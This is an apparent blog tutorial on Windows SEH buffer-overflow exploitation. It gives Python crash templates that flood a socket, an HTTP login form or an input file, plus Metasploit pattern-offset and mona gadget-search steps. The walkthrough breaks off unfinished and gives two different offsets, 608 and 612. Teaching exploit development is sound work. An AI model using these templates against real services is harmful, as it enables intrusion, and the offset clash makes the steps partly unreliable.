- Assume you have a buffer overflow vulnerability.
- You can control the EIP.
- But your shellcode is never executed.
- Your shellcode is executed when a ret instruction is executed which calls the address you overwrite.
- But maybe the ret at the end of the function where the buffer overflow occurs is never reached, because you overwrote the buffer which is also used in other variables / functions which are executed after the buffer overflow vulnerability and before the ret instruction.
- For example, you overwrote an address which is called from a function before the function’s ret — but this address is now overwritten with garbage.
- Then, an exception is thrown and your code is never executed.
- In such a case, we can overwrite the SEH Structured Exeption Handler to gain code execution.
The SEH Structured Exception Handler
If an exception occurs, Windows will go through a chain of exception handlers, which are defined by the application. If the chain comes to an end, a final exception handler from Windows is called, which will terminate the program. The addresses of the exception handlers are on the stack and can be overwritten.
The following diagram shows the structure of the SEH in the memory. The SEH consists out of n separate exception handlers. Our goal is to overwrite the pointer of the first SEH to own injected code.

SEH overflow walkthrough templates
Depending on the input for the application, here are three templates to start with:
Overflow via a socket
#!/usr/bin/python import socket import time import sys ip = "10.10.10.10" port = 8080 # Add here the command before the payload. In this case # we write "SOME_FUCTION_NAME AAAAAAA..." to the socket. prefix = "SOME_FUCTION_NAME " overflow = "A" * 8192 buffer = prefix + overflow s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(buffer + "\r\n")
Overflow via a HTTP connection
#!/usr/bin/python import socket import time import sys ip = "10.10.10.10" port = 8080 # Adapt the parameters for the server. In this case we send 8192 A's # as username with a fixed password. inputBuffer = "A" * 8192 content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 127.0.0.1\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(buffer) s.close()
Overflow via a file
# This only writes the payload. Of course you have to change this
# to output a valid file for your target program.
x = open('filename_with.suffix', 'w')
payload = ("A" * 8192)
x.write(payload)
x.close()
SEH overflow walkthrough
- Perform a buffer overflow with a template script from above and inspect the crash in a debugger. Look through the overwritten memory and note where the debugger shows that at this place a pointer to a SEH record should be. At this address, there was before the overwriting the first SEH pointer.

- Determine the position where the pointer to next SEH record starts relative to your input. Use
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
to get a pattern and use this as input instead. Execute the buffer overflow again. We see that now it crashed (in our example) at the address with value0x41347541.
We ask pattern_offset where this value starts in the generated string and got offset 608./usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1024 -q 41347541
[*] Exact match at offset 612 - Now we need the address of a pop-pop-ret instruction sequence (two pops because we need to go out of the SEH / remove the first two stack entries before our injected address lies on the top of the stack ready to be executed by the last ret). For example, in mona:
!mona seh ‑m your_library.dll
This way we found some and choose one without activated security flags like0x64113f4c.
- f
Leave a Reply
You must be logged in to post a comment.